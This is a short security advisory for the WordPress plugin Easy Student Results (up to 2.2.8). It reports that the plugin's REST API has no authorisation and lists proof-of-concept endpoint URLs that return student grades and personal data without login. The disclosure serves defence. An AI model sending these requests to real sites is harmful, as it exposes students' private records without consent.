Easy Student Results <= 2.2.8 - Sensitive Information Disclosure via REST API

The plugin lacks authorisation in its REST API, allowing unauthenticated users to retrieve information related to the courses, exams, departments as well as student’s grades and PII such as email address, physical address, phone number etc

PoC

When the “Enable API for Mobile Apps” settings (/wp-admin/admin.php?page=rps_result_settings) is enabled https://example.com/wp-json/rps_result/v1/route/show_result?exam_record_id=2&amp;student;_id=32 https://example.com/wp-json/rps_result/v1/route/student_fields https://example.com/wp-json/rps_result/v1/route/search_student?department_id=1&amp;batch;_id=1&amp;semester;_id=1 https://example.com/wp-json/rps_result/v1/route/result_fields https://example.com/wp-json/rps_result/v1/route/list_results?exam_id=1&amp;department;_id=1&amp;batch;_id=1 https://example.com/wp-json/rps_result/v1/route/schema